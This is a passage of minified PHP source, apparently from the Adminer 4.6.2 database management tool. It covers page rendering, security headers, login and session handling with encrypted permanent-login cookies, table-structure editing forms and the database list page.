';foreach($b->css()as$Ib){echo'<link rel="stylesheet" type="text/css" href="',h($Ib),'">
';}}echo'
<body class="',lang(77),' nojs">
';$Uc=get_temp_dir()."/adminer.version";if(!$_COOKIE["adminer_version"]&&function_exists('openssl_verify')&&file_exists($Uc)&&filemtime($Uc)+86400>time()){$Qi=unserialize(file_get_contents($Uc));$mg="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwqWOVuF5uw7/+Z70djoK
RlHIZFZPO0uYRezq90+7Amk+FDNd7KkL5eDve+vHRJBLAszF/7XKXe11xwliIsFs
DFWQlsABVZB3oisKCBEuI71J4kPH8dKGEWR9jDHFw3cWmoH3PmqImX6FISWbG3B8
h7FIx3jEaw5ckVPVTeo5JRm/1DZzJxjyDenXvBQ/6o9DgZKeNDgxwKzH+sw9/YCO
jHnq1cFpOIISzARlrHMa/43YfeNRAm/tsBXjSxembBPo7aQZLAWHmaj5+K19H10B
nCpz9Y++cipkVEiKRGih4ZEvjoFysEOdRLj6WiD/uUNky4xGeA6LaJqh5XpkFkcQ
fQIDAQAB
-----END PUBLIC KEY-----
";if(openssl_verify($Qi["version"],base64_decode($Qi["signature"]),$mg)==1)$_COOKIE["adminer_version"]=$Qi["version"];}echo'<script',nonce(),'>
mixin(document.body, {onkeydown: bodyKeydown, onclick: bodyClick',(isset($_COOKIE["adminer_version"])?"":", onload: partial(verifyVersion, '$ia', '".js_escape(ME)."', '".get_token()."')");?>});
document.body.className = document.body.className.replace(/ nojs/, ' js');
var offlineMessage = '<?php echo
js_escape(lang(78)),'\';
var thousandsSeparator = \'',js_escape(lang(5)),'\';
</script>

<div id="help" class="jush-',$y,' jsonly hidden"></div>
',script("mixin(qs('#help'), {onmouseover: function () { helpOpen = 1; }, onmouseout: helpMouseout});"),'
<div id="content">
';if($Xa!==null){$A=substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1);echo'<p id="breadcrumb"><a href="'.h($A?$A:".").'">'.$ec[DRIVER].'</a> &raquo; ';$A=substr(preg_replace('~\b(db|ns)=[^&]*&~','',ME),0,-1);$O=$b->serverName(SERVER);$O=($O!=""?$O:lang(32));if($Xa===false)echo"$O\n";else{echo"<a href='".($A?h($A):".")."' accesskey='1' title='Alt+Shift+1'>$O</a> &raquo; ";if($_GET["ns"]!=""||(DB!=""&&is_array($Xa)))echo'<a href="'.h($A."&db=".urlencode(DB).(support("scheme")?"&ns=":"")).'">'.h(DB).'</a> &raquo; ';if(is_array($Xa)){if($_GET["ns"]!="")echo'<a href="'.h(substr(ME,0,-1)).'">'.h($_GET["ns"]).'</a> &raquo; ';foreach($Xa
as$z=>$X){$Wb=(is_array($X)?$X[1]:h($X));if($Wb!="")echo"<a href='".h(ME."$z=").urlencode(is_array($X)?$X[0]:$X)."'>$Wb</a> &raquo; ";}}echo"$Zh\n";}}echo"<h2>$bi</h2>\n","<div id='ajaxstatus' class='jsonly hidden'></div>\n";restart_session();page_messages($o);$l=&get_session("dbs");if(DB!=""&&$l&&!in_array(DB,$l,true))$l=null;stop_session();define("PAGE_HEADER",1);}function
page_headers(){global$b;header("Content-Type: text/html; charset=utf-8");header("Cache-Control: no-cache");header("X-Frame-Options: deny");header("X-XSS-Protection: 0");header("X-Content-Type-Options: nosniff");header("Referrer-Policy: origin-when-cross-origin");foreach($b->csp()as$Hb){$ud=array();foreach($Hb
as$z=>$X)$ud[]="$z $X";header("Content-Security-Policy: ".implode("; ",$ud));}$b->headers();}function
csp(){return
array(array("script-src"=>"'self' 'unsafe-inline' 'nonce-".get_nonce()."' 'strict-dynamic'","connect-src"=>"'self'","frame-src"=>"https://www.adminer.org","object-src"=>"'none'","base-uri"=>"'none'","form-action"=>"'self'",),);}function
get_nonce(){static$Ye;if(!$Ye)$Ye=base64_encode(rand_string());return$Ye;}function
page_messages($o){$Di=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);$Ke=$_SESSION["messages"][$Di];if($Ke){echo"<div class='message'>".implode("</div>\n<div class='message'>",$Ke)."</div>".script("messagesPrint();");unset($_SESSION["messages"][$Di]);}if($o)echo"<div class='error'>$o</div>\n";}function
page_footer($Oe=""){global$b,$gi;echo'</div>

';switch_lang();if($Oe!="auth"){echo'<form action="" method="post">
<p class="logout">
<input type="submit" name="logout" value="',lang(79),'" id="logout">
<input type="hidden" name="token" value="',$gi,'">
</p>
</form>
';}echo'<div id="menu">
';$b->navigation($Oe);echo'</div>
',script("setupSubmitHighlight(document);");}function
int32($Re){while($Re>=2147483648)$Re-=4294967296;while($Re<=-2147483649)$Re+=4294967296;return(int)$Re;}function
long2str($W,$Ui){$Rg='';foreach($W
as$X)$Rg.=pack('V',$X);if($Ui)return
substr($Rg,0,end($W));return$Rg;}function
str2long($Rg,$Ui){$W=array_values(unpack('V*',str_pad($Rg,4*ceil(strlen($Rg)/4),"\0")));if($Ui)$W[]=strlen($Rg);return$W;}function
xxtea_mx($hj,$gj,$Dh,$Yd){return
int32((($hj>>5&0x7FFFFFF)^$gj<<2)+(($gj>>3&0x1FFFFFFF)^$hj<<4))^int32(($Dh^$gj)+($Yd^$hj));}function
encrypt_string($zh,$z){if($zh=="")return"";$z=array_values(unpack("V*",pack("H*",md5($z))));$W=str2long($zh,true);$Re=count($W)-1;$hj=$W[$Re];$gj=$W[0];$ng=floor(6+52/($Re+1));$Dh=0;while($ng-->0){$Dh=int32($Dh+0x9E3779B9);$lc=$Dh>>2&3;for($Ef=0;$Ef<$Re;$Ef++){$gj=$W[$Ef+1];$Qe=xxtea_mx($hj,$gj,$Dh,$z[$Ef&3^$lc]);$hj=int32($W[$Ef]+$Qe);$W[$Ef]=$hj;}$gj=$W[0];$Qe=xxtea_mx($hj,$gj,$Dh,$z[$Ef&3^$lc]);$hj=int32($W[$Re]+$Qe);$W[$Re]=$hj;}return
long2str($W,false);}function
decrypt_string($zh,$z){if($zh=="")return"";if(!$z)return
false;$z=array_values(unpack("V*",pack("H*",md5($z))));$W=str2long($zh,false);$Re=count($W)-1;$hj=$W[$Re];$gj=$W[0];$ng=floor(6+52/($Re+1));$Dh=int32($ng*0x9E3779B9);while($Dh){$lc=$Dh>>2&3;for($Ef=$Re;$Ef>0;$Ef--){$hj=$W[$Ef-1];$Qe=xxtea_mx($hj,$gj,$Dh,$z[$Ef&3^$lc]);$gj=int32($W[$Ef]-$Qe);$W[$Ef]=$gj;}$hj=$W[$Re];$Qe=xxtea_mx($hj,$gj,$Dh,$z[$Ef&3^$lc]);$gj=int32($W[0]-$Qe);$W[0]=$gj;$Dh=int32($Dh-0x9E3779B9);}return
long2str($W,true);}$g='';$td=$_SESSION["token"];if(!$td)$_SESSION["token"]=rand(1,1e6);$gi=get_token();$Uf=array();if($_COOKIE["adminer_permanent"]){foreach(explode(" ",$_COOKIE["adminer_permanent"])as$X){list($z)=explode(":",$X);$Uf[$z]=$X;}}function
add_invalid_login(){global$b;$hd=file_open_lock(get_temp_dir()."/adminer.invalid");if(!$hd)return;$Rd=unserialize(stream_get_contents($hd));$Wh=time();if($Rd){foreach($Rd
as$Sd=>$X){if($X[0]<$Wh)unset($Rd[$Sd]);}}$Qd=&$Rd[$b->bruteForceKey()];if(!$Qd)$Qd=array($Wh+30*60,0);$Qd[1]++;file_write_unlock($hd,serialize($Rd));}function
check_invalid_login(){global$b;$Rd=unserialize(@file_get_contents(get_temp_dir()."/adminer.invalid"));$Qd=$Rd[$b->bruteForceKey()];$Xe=($Qd[1]>29?$Qd[0]-time():0);if($Xe>0)auth_error(lang(80,ceil($Xe/60)));}$La=$_POST["auth"];if($La){session_regenerate_id();$Pi=$La["driver"];$O=$La["server"];$V=$La["username"];$G=(string)$La["password"];$m=$La["db"];set_password($Pi,$O,$V,$G);$_SESSION["db"][$Pi][$O][$V][$m]=true;if($La["permanent"]){$z=base64_encode($Pi)."-".base64_encode($O)."-".base64_encode($V)."-".base64_encode($m);$gg=$b->permanentLogin(true);$Uf[$z]="$z:".base64_encode($gg?encrypt_string($G,$gg):"");cookie("adminer_permanent",implode(" ",$Uf));}if(count($_POST)==1||DRIVER!=$Pi||SERVER!=$O||$_GET["username"]!==$V||DB!=$m)redirect(auth_url($Pi,$O,$V,$m));}elseif($_POST["logout"]){if($td&&!verify_token()){page_header(lang(79),lang(81));page_footer("db");exit;}else{foreach(array("pwds","db","dbs","queries")as$z)set_session($z,null);unset_permanent();redirect(substr(preg_replace('~\b(username|db|ns)=[^&]*&~','',ME),0,-1),lang(82).' '.lang(83,'https://sourceforge.net/donate/index.php?group_id=264133'));}}elseif($Uf&&!$_SESSION["pwds"]){session_regenerate_id();$gg=$b->permanentLogin();foreach($Uf
as$z=>$X){list(,$jb)=explode(":",$X);list($Pi,$O,$V,$m)=array_map('base64_decode',explode("-",$z));set_password($Pi,$O,$V,decrypt_string(base64_decode($jb),$gg));$_SESSION["db"][$Pi][$O][$V][$m]=true;}}function
unset_permanent(){global$Uf;foreach($Uf
as$z=>$X){list($Pi,$O,$V,$m)=array_map('base64_decode',explode("-",$z));if($Pi==DRIVER&&$O==SERVER&&$V==$_GET["username"]&&$m==DB)unset($Uf[$z]);}cookie("adminer_permanent",implode(" ",$Uf));}function
auth_error($o){global$b,$td;$gh=session_name();if(isset($_GET["username"])){header("HTTP/1.1 403 Forbidden");if(($_COOKIE[$gh]||$_GET[$gh])&&!$td)$o=lang(84);else{add_invalid_login();$G=get_password();if($G!==null){if($G===false)$o.='<br>'.lang(85,target_blank(),'<code>permanentLogin()</code>');set_password(DRIVER,SERVER,$_GET["username"],null);}unset_permanent();}}if(!$_COOKIE[$gh]&&$_GET[$gh]&&ini_bool("session.use_only_cookies"))$o=lang(86);$Hf=session_get_cookie_params();cookie("adminer_key",($_COOKIE["adminer_key"]?$_COOKIE["adminer_key"]:rand_string()),$Hf["lifetime"]);page_header(lang(36),$o,null);echo"<form action='' method='post'>\n","<div>";if(hidden_fields($_POST,array("auth")))echo"<p class='message'>".lang(87)."\n";echo"</div>\n";$b->loginForm();echo"</form>\n";page_footer("auth");exit;}if(isset($_GET["username"])){if(!class_exists("Min_DB")){unset($_SESSION["pwds"][DRIVER]);unset_permanent();page_header(lang(88),lang(89,implode(", ",$ag)),false);page_footer("auth");exit;}list($yd,$Wf)=explode(":",SERVER,2);if(is_numeric($Wf)&&$Wf<1024)auth_error(lang(90));check_invalid_login();$g=connect();$n=new
Min_Driver($g);}$te=null;if(!is_object($g)||($te=$b->login($_GET["username"],get_password()))!==true)auth_error((is_string($g)?h($g):(is_string($te)?$te:lang(91))));if($La&&$_POST["token"])$_POST["token"]=$gi;$o='';if($_POST){if(!verify_token()){$Ld="max_input_vars";$Ee=ini_get($Ld);if(extension_loaded("suhosin")){foreach(array("suhosin.request.max_vars","suhosin.post.max_vars")as$z){$X=ini_get($z);if($X&&(!$Ee||$X<$Ee)){$Ld=$z;$Ee=$X;}}}$o=(!$_POST["token"]&&$Ee?lang(92,"'$Ld'"):lang(81).' '.lang(93));}}elseif($_SERVER["REQUEST_METHOD"]=="POST"){$o=lang(94,"'post_max_size'");if(isset($_GET["sql"]))$o.=' '.lang(95);}if(!ini_bool("session.use_cookies")||@ini_set("session.use_cookies",false)!==false)session_write_close();function
select($I,$h=null,$wf=array(),$_=0){global$y;$se=array();$x=array();$e=array();$Ua=array();$vi=array();$J=array();odd('');for($t=0;(!$_||$t<$_)&&($K=$I->fetch_row());$t++){if(!$t){echo"<table cellspacing='0' class='nowrap'>\n","<thead><tr>";for($Xd=0;$Xd<count($K);$Xd++){$p=$I->fetch_field();$D=$p->name;$vf=$p->orgtable;$uf=$p->orgname;$J[$p->table]=$vf;if($wf&&$y=="sql")$se[$Xd]=($D=="table"?"table=":($D=="possible_keys"?"indexes=":null));elseif($vf!=""){if(!isset($x[$vf])){$x[$vf]=array();foreach(indexes($vf,$h)as$w){if($w["type"]=="PRIMARY"){$x[$vf]=array_flip($w["columns"]);break;}}$e[$vf]=$x[$vf];}if(isset($e[$vf][$uf])){unset($e[$vf][$uf]);$x[$vf][$uf]=$Xd;$se[$Xd]=$vf;}}if($p->charsetnr==63)$Ua[$Xd]=true;$vi[$Xd]=$p->type;echo"<th".($vf!=""||$p->name!=$uf?" title='".h(($vf!=""?"$vf.":"").$uf)."'":"").">".h($D).($wf?doc_link(array('sql'=>"explain-output.html#explain_".strtolower($D),'mariadb'=>"explain/#the-columns-in-explain-select",)):"");}echo"</thead>\n";}echo"<tr".odd().">";foreach($K
as$z=>$X){if($X===null)$X="<i>NULL</i>";elseif($Ua[$z]&&!is_utf8($X))$X="<i>".lang(45,strlen($X))."</i>";elseif(!strlen($X))$X="&nbsp;";else{$X=h($X);if($vi[$z]==254)$X="<code>$X</code>";}if(isset($se[$z])&&!$e[$se[$z]]){if($wf&&$y=="sql"){$R=$K[array_search("table=",$se)];$A=$se[$z].urlencode($wf[$R]!=""?$wf[$R]:$R);}else{$A="edit=".urlencode($se[$z]);foreach($x[$se[$z]]as$nb=>$Xd)$A.="&where".urlencode("[".bracket_escape($nb)."]")."=".urlencode($K[$Xd]);}$X="<a href='".h(ME.$A)."'>$X</a>";}echo"<td>$X";}}echo($t?"</table>":"<p class='message'>".lang(12))."\n";return$J;}function
referencable_primary($ah){$J=array();foreach(table_status('',true)as$Hh=>$R){if($Hh!=$ah&&fk_support($R)){foreach(fields($Hh)as$p){if($p["primary"]){if($J[$Hh]){unset($J[$Hh]);break;}$J[$Hh]=$p;}}}}return$J;}function
textarea($D,$Y,$L=10,$sb=80){global$y;echo"<textarea name='$D' rows='$L' cols='$sb' class='sqlarea jush-$y' spellcheck='false' wrap='off'>";if(is_array($Y)){foreach($Y
as$X)echo
h($X[0])."\n\n\n";}else
echo
h($Y);echo"</textarea>";}function
edit_type($z,$p,$qb,$dd=array(),$Lc=array()){global$_h,$vi,$Bi,$jf;$U=$p["type"];echo'<td><select name="',h($z),'[type]" class="type" aria-labelledby="label-type">';if($U&&!isset($vi[$U])&&!isset($dd[$U])&&!in_array($U,$Lc))$Lc[]=$U;if($dd)$_h[lang(96)]=$dd;echo
optionlist(array_merge($Lc,$_h),$U),'</select>
',on_help("getTarget(event).value",1),script("mixin(qsl('select'), {onfocus: function () { lastType = selectValue(this); }, onchange: editingTypeChange});",""),'<td><input name="',h($z),'[length]" value="',h($p["length"]),'" size="3"',(!$p["length"]&&preg_match('~var(char|binary)$~',$U)?" class='required'":""),' aria-labelledby="label-length">',script("mixin(qsl('input'), {onfocus: editingLengthFocus, oninput: editingLengthChange});",""),'<td class="options">';echo"<select name='".h($z)."[collation]'".(preg_match('~(char|text|enum|set)$~',$U)?"":" class='hidden'").'><option value="">('.lang(97).')'.optionlist($qb,$p["collation"]).'</select>',($Bi?"<select name='".h($z)."[unsigned]'".(!$U||preg_match(number_type(),$U)?"":" class='hidden'").'><option>'.optionlist($Bi,$p["unsigned"]).'</select>':''),(isset($p['on_update'])?"<select name='".h($z)."[on_update]'".(preg_match('~timestamp|datetime~',$U)?"":" class='hidden'").'>'.optionlist(array(""=>"(".lang(98).")","CURRENT_TIMESTAMP"),$p["on_update"]).'</select>':''),($dd?"<select name='".h($z)."[on_delete]'".(preg_match("~`~",$U)?"":" class='hidden'")."><option value=''>(".lang(99).")".optionlist(explode("|",$jf),$p["on_delete"])."</select> ":" ");}function
process_length($pe){global$wc;return(preg_match("~^\\s*\\(?\\s*$wc(?:\\s*,\\s*$wc)*+\\s*\\)?\\s*\$~",$pe)&&preg_match_all("~$wc~",$pe,$ze)?"(".implode(",",$ze[0]).")":preg_replace('~^[0-9].*~','(\0)',preg_replace('~[^-0-9,+()[\]]~','',$pe)));}function
process_type($p,$ob="COLLATE"){global$Bi;return" $p[type]".process_length($p["length"]).(preg_match(number_type(),$p["type"])&&in_array($p["unsigned"],$Bi)?" $p[unsigned]":"").(preg_match('~char|text|enum|set~',$p["type"])&&$p["collation"]?" $ob ".q($p["collation"]):"");}function
process_field($p,$ti){return
array(idf_escape(trim($p["field"])),process_type($ti),($p["null"]?" NULL":" NOT NULL"),default_value($p),(preg_match('~timestamp|datetime~',$p["type"])&&$p["on_update"]?" ON UPDATE $p[on_update]":""),(support("comment")&&$p["comment"]!=""?" COMMENT ".q($p["comment"]):""),($p["auto_increment"]?auto_increment():null),);}function
default_value($p){$Sb=$p["default"];return($Sb===null?"":" DEFAULT ".(preg_match('~char|binary|text|enum|set~',$p["type"])||preg_match('~^(?![a-z])~i',$Sb)?q($Sb):$Sb));}function
type_class($U){foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set',)as$z=>$X){if(preg_match("~$z|$X~",$U))return" class='$z'";}}function
edit_fields($q,$qb,$U="TABLE",$dd=array(),$wb=false){global$Md;$q=array_values($q);echo'<thead><tr>
';if($U=="PROCEDURE"){echo'<td>&nbsp;';}echo'<th id="label-name">',($U=="TABLE"?lang(100):lang(101)),'<td id="label-type">',lang(47),'<textarea id="enum-edit" rows="4" cols="12" wrap="off" style="display: none;"></textarea>',script("qs('#enum-edit').onblur = editingLengthBlur;"),'<td id="label-length">',lang(102),'<td>',lang(103);if($U=="TABLE"){echo'<td id="label-null">NULL
<td><input type="radio" name="auto_increment_col" value=""><acronym id="label-ai" title="',lang(49),'">AI</acronym>',doc_link(array('sql'=>"example-auto-increment.html",'mariadb'=>"auto_increment/",'sqlite'=>"autoinc.html",'pgsql'=>"datatype.html#DATATYPE-SERIAL",'mssql'=>"ms186775.aspx",)),'<td id="label-default">',lang(50),(support("comment")?"<td id='label-comment'".($wb?"":" class='hidden'").">".lang(48):"");}echo'<td>',"<input type='image' class='icon' name='add[".(support("move_col")?0:count($q))."]' src='".h(preg_replace("~\\?.*~","",ME)."?file=plus.gif&version=4.6.2")."' alt='+' title='".lang(104)."'>".script("row_count = ".count($q).";"),'</thead>
<tbody>
',script("mixin(qsl('tbody'), {onclick: editingClick, onkeydown: editingKeydown, oninput: editingInput});");foreach($q
as$t=>$p){$t++;$xf=$p[($_POST?"orig":"field")];$ac=(isset($_POST["add"][$t-1])||(isset($p["field"])&&!$_POST["drop_col"][$t]))&&(support("drop_col")||$xf=="");echo'<tr',($ac?"":" style='display: none;'"),'>
',($U=="PROCEDURE"?"<td>".html_select("fields[$t][inout]",explode("|",$Md),$p["inout"]):""),'<th>';if($ac){echo'<input name="fields[',$t,'][field]" value="',h($p["field"]),'" maxlength="64" autocapitalize="off" aria-labelledby="label-name">',script("qsl('input').oninput = function () { editingNameChange.call(this);".($p["field"]!=""||count($q)>1?"":" editingAddRow.call(this);")." };","");}echo'<input type="hidden" name="fields[',$t,'][orig]" value="',h($xf),'">
';edit_type("fields[$t]",$p,$qb,$dd);if($U=="TABLE"){echo'<td>',checkbox("fields[$t][null]",1,$p["null"],"","","block","label-null"),'<td><label class="block"><input type="radio" name="auto_increment_col" value="',$t,'"';if($p["auto_increment"]){echo' checked';}echo' aria-labelledby="label-ai"></label><td>',checkbox("fields[$t][has_default]",1,$p["has_default"],"","","","label-default"),'<input name="fields[',$t,'][default]" value="',h($p["default"]),'" aria-labelledby="label-default">',(support("comment")?"<td".($wb?"":" class='hidden'")."><input name='fields[$t][comment]' value='".h($p["comment"])."' maxlength='".(min_version(5.5)?1024:255)."' aria-labelledby='label-comment'>":"");}echo"<td>",(support("move_col")?"<input type='image' class='icon' name='add[$t]' src='".h(preg_replace("~\\?.*~","",ME)."?file=plus.gif&version=4.6.2")."' alt='+' title='".lang(104)."'>&nbsp;"."<input type='image' class='icon' name='up[$t]' src='".h(preg_replace("~\\?.*~","",ME)."?file=up.gif&version=4.6.2")."' alt='↑' title='".lang(105)."'>&nbsp;"."<input type='image' class='icon' name='down[$t]' src='".h(preg_replace("~\\?.*~","",ME)."?file=down.gif&version=4.6.2")."' alt='↓' title='".lang(106)."'>&nbsp;":""),($xf==""||support("drop_col")?"<input type='image' class='icon' name='drop_col[$t]' src='".h(preg_replace("~\\?.*~","",ME)."?file=cross.gif&version=4.6.2")."' alt='x' title='".lang(107)."'>":"");}}function
process_fields(&$q){$E=0;if($_POST["up"]){$je=0;foreach($q
as$z=>$p){if(key($_POST["up"])==$z){unset($q[$z]);array_splice($q,$je,0,array($p));break;}if(isset($p["field"]))$je=$E;$E++;}}elseif($_POST["down"]){$fd=false;foreach($q
as$z=>$p){if(isset($p["field"])&&$fd){unset($q[key($_POST["down"])]);array_splice($q,$E,0,array($fd));break;}if(key($_POST["down"])==$z)$fd=$p;$E++;}}elseif($_POST["add"]){$q=array_values($q);array_splice($q,key($_POST["add"]),0,array(array()));}elseif(!$_POST["drop_col"])return
false;return
true;}function
normalize_enum($C){return"'".str_replace("'","''",addcslashes(stripcslashes(str_replace($C[0][0].$C[0][0],$C[0][0],substr($C[0],1,-1))),'\\'))."'";}function
grant($kd,$ig,$e,$if){if(!$ig)return
true;if($ig==array("ALL PRIVILEGES","GRANT OPTION"))return($kd=="GRANT"?queries("$kd ALL PRIVILEGES$if WITH GRANT OPTION"):queries("$kd ALL PRIVILEGES$if")&&queries("$kd GRANT OPTION$if"));return
queries("$kd ".preg_replace('~(GRANT OPTION)\\([^)]*\\)~','\\1',implode("$e, ",$ig).$e).$if);}function
drop_create($fc,$i,$gc,$Th,$ic,$B,$Je,$He,$Ie,$ff,$Ue){if($_POST["drop"])query_redirect($fc,$B,$Je);elseif($ff=="")query_redirect($i,$B,$Ie);elseif($ff!=$Ue){$Gb=queries($i);queries_redirect($B,$He,$Gb&&queries($fc));if($Gb)queries($gc);}else
queries_redirect($B,$He,queries($Th)&&queries($ic)&&queries($fc)&&queries($i));}function
create_trigger($if,$K){global$y;$Yh=" $K[Timing] $K[Event]".($K["Event"]=="UPDATE OF"?" ".idf_escape($K["Of"]):"");return"CREATE TRIGGER ".idf_escape($K["Trigger"]).($y=="mssql"?$if.$Yh:$Yh.$if).rtrim(" $K[Type]\n$K[Statement]",";").";";}function
create_routine($Ng,$K){global$Md,$y;$P=array();$q=(array)$K["fields"];ksort($q);foreach($q
as$p){if($p["field"]!="")$P[]=(preg_match("~^($Md)\$~",$p["inout"])?"$p[inout] ":"").idf_escape($p["field"]).process_type($p,"CHARACTER SET");}$Tb=rtrim("\n$K[definition]",";");return"CREATE $Ng ".idf_escape(trim($K["name"]))." (".implode(", ",$P).")".(isset($_GET["function"])?" RETURNS".process_type($K["returns"],"CHARACTER SET"):"").($K["language"]?" LANGUAGE $K[language]":"").($y=="pgsql"?" AS ".q($Tb):"$Tb;");}function
remove_definer($H){return
preg_replace('~^([A-Z =]+) DEFINER=`'.preg_replace('~@(.*)~','`@`(%|\\1)',logged_user()).'`~','\\1',$H);}function
format_foreign_key($r){global$jf;return" FOREIGN KEY (".implode(", ",array_map('idf_escape',$r["source"])).") REFERENCES ".table($r["table"])." (".implode(", ",array_map('idf_escape',$r["target"])).")".(preg_match("~^($jf)\$~",$r["on_delete"])?" ON DELETE $r[on_delete]":"").(preg_match("~^($jf)\$~",$r["on_update"])?" ON UPDATE $r[on_update]":"");}function
tar_file($Uc,$di){$J=pack("a100a8a8a8a12a12",$Uc,644,0,0,decoct($di->size),decoct(time()));$hb=8*32;for($t=0;$t<strlen($J);$t++)$hb+=ord($J[$t]);$J.=sprintf("%06o",$hb)."\0 ";echo$J,str_repeat("\0",512-strlen($J));$di->send();echo
str_repeat("\0",511-($di->size+511)%512);}function
ini_bytes($Ld){$X=ini_get($Ld);switch(strtolower(substr($X,-1))){case'g':$X*=1024;case'm':$X*=1024;case'k':$X*=1024;}return$X;}function
doc_link($Sf,$Uh="<sup>?</sup>"){global$y,$g;$eh=$g->server_info;$Qi=preg_replace('~^(\\d\\.?\\d).*~s','\\1',$eh);$Gi=array('sql'=>"https://dev.mysql.com/doc/refman/$Qi/en/",'sqlite'=>"https://www.sqlite.org/",'pgsql'=>"https://www.postgresql.org/docs/$Qi/static/",'mssql'=>"https://msdn.microsoft.com/library/",'oracle'=>"https://download.oracle.com/docs/cd/B19306_01/server.102/b14200/",);if(preg_match('~MariaDB~',$eh)){$Gi['sql']="https://mariadb.com/kb/en/library/";$Sf['sql']=(isset($Sf['mariadb'])?$Sf['mariadb']:str_replace(".html","/",$Sf['sql']));}return($Sf[$y]?"<a href='$Gi[$y]$Sf[$y]'".target_blank().">$Uh</a>":"");}function
ob_gzencode($Q){return
gzencode($Q);}function
db_size($m){global$g;if(!$g->select_db($m))return"?";$J=0;foreach(table_status()as$S)$J+=$S["Data_length"]+$S["Index_length"];return
format_number($J);}function
set_utf8mb4($i){global$g;static$P=false;if(!$P&&preg_match('~\butf8mb4~i',$i)){$P=true;echo"SET NAMES ".charset($g).";\n\n";}}function
connect_error(){global$b,$g,$gi,$o,$ec;if(DB!=""){header("HTTP/1.1 404 Not Found");page_header(lang(35).": ".h(DB),lang(108),true);}else{if($_POST["db"]&&!$o)queries_redirect(substr(ME,0,-1),lang(109),drop_databases($_POST["db"]));page_header(lang(110),$o,false);echo"<p class='links'>\n";foreach(array('database'=>lang(111),'privileges'=>lang(69),'processlist'=>lang(112),'variables'=>lang(113),'status'=>lang(114),)as$z=>$X){if(support($z))echo"<a href='".h(ME)."$z='>$X</a>\n";}echo"<p>".lang(115,$ec[DRIVER],"<b>".h($g->server_info)."</b>","<b>$g->extension</b>")."\n","<p>".lang(116,"<b>".h(logged_user())."</b>")."\n";$l=$b->databases();if($l){$Ug=support("scheme");$qb=collations();echo"<form action='' method='post'>\n","<table cellspacing='0' class='checkable'>\n",script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});"),"<thead><tr>".(support("database")?"<td>&nbsp;":"")."<th>".lang(35)." - <a href='".h(ME)."refresh=1'>".lang(117)."</a>"."<td>".lang(118)."<td>".lang(119)."<td>".lang(120)." - <a href='".h(ME)."dbsize=1'>".lang(121)."</a>".script("qsl('a').onclick = partial(ajaxSetHtml, '".js_escape(ME)."script=connect');","")."</thead>\n";$l=($_GET["dbsize"]?count_tables($l):array_flip($l));foreach($l
as$m=>$T){$Mg=h(ME)."db=".urlencode($m);$u=h("Db-".$m);echo"<tr".odd().">".(support("database")?"<td>".checkbox("db[]",$m,in_array($m,(array)$_POST["db"]),"","","",$u):""),"<th><a href='$Mg' id='$u'>".h($m)."</a>";$pb=nbsp(db_collation($m,$qb));echo"<td>".(support("database")?"<a href='$Mg".($Ug?"&amp;ns=":"")."&amp;database=' title='".lang(65)."'>$pb</a>":$pb),"<td align='right'><a href='$Mg&amp;schema=' id='tables-".h($m)."' title='".lang(68)."'>".($_GET["dbsize"]?$T:"?")."</a>","<td align='right' id='size-".h($m)."'>".($_GET["dbsize"]?db_size($m):"?"),"\n";}echo"</table>\n",(support("database")?"<div class='footer'><div>\n"."<fieldset><legend>".lang(122)." <span id='selected'></span></legend><div>\n"."<input type='hidden' name='all' value=''>".script("qsl('input').onclick = function () { selectCount('selected', formChecked(this, /^db/)); };")."<input type='submit' name='drop' value='".lang(123)."'>".confirm()."\n"."</div></fieldset>\n"."</div></div>\n":""),"<input type='hidden' name='token' value='$gi'>\n","</form>\n",script("tableCheck();");}}page_footer("db");}if(isset($_GET["status"]))$_GET["variables"]=$_GET["status"];if(isset($_GET["import"]))$_GET["sql"]=$_GET["import"];if(!(DB!=""?$g->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["variables"])||$_GET["script"]=="connect"||$_GET["script"]=="kill")){if(DB!=""||$_GET["refresh"]){restart_session();set_session("dbs",null);}connect_error();exit;}if(support("scheme")&&DB!=""&&$_GET["ns"]!==""){if(!isset($_GET["ns"]))redirect(preg_replace('~ns=[^&]*&~','',ME)."ns=".get_schema());if(!set_schema($_GET["ns"])){header("HTTP/1.1 404 Not Found");page_header(lang(75).": ".h($_GET["ns"]),lang(124),true);page_footer("ns");exit;}}$jf="RESTRICT|NO ACTION|CASCADE|SET NULL|SET DEFAULT";class
TmpFile{var$handler;var$size;function
__construct(){$this->handler=tmpfile();}function
write($Ab){$this->size+=strlen($Ab);fwrite($this->handler,$Ab);}function
send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$wc="'(?:''|[^'\\\\]|\\\\.)*'";$Md="IN|OUT|INOUT";if(isset($_GET["select"])&&($_POST["edit"]||$_POST["clone"])&&!$_POST["save"])$_GET["edit"]=$_GET["select"];if(isset($_GET["callf"]))$_GET["call"]=$_GET["callf"];if(isset($_GET["function"]))$_GET["procedure"]=$_GET["function"];if(isset($_GET["download"])){$a=$_GET["download"];$q=fields($a);header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".friendly_url("$a-".implode("_",$_GET["where"])).".".friendly_url($_GET["field"]));$M=array(idf_escape($_GET["field"]));$I=$n->select($a,$M,array(where($_GET,$q)),$M);$K=($I?$I->fetch_row():array());echo$n->value($K[0],$q[$_GET["field"]]);exit;}elseif(isset($_GET["table"])){$a=$_GET["table"];$q=fields($a);if(!$q)$o=error();$S=table_status1($a,true);$D=$b->tableName($S);page_header(($q&&is_view($S)?$S['Engine']=='materialized view'?lang(125):lang(126):lang(127)).": ".($D!=""?$D:h($a)),$o);$b->selectLinks($S);$vb=$S["Comment"];if($vb!="")echo"<p class='nowrap'>".lang(48).": ".h($vb)."\n";if($q)$b->tableStructurePrint($q);if(!is_view($S)){if(support("indexes")){echo"<h3 id='indexes'>".lang(128)."</h3>\n";$x=indexes($a);if($x)$b->tableIndexesPrint($x);echo'<p class="links"><a href="'.h(ME).'indexes='.urlencode($a).'">'.lang(129)."</a>\n";}if(fk_support($S)){echo"<h3 id='foreign-keys'>".lang(96)."</h3>\n";$dd=foreign_keys($a);if($dd){echo"<table 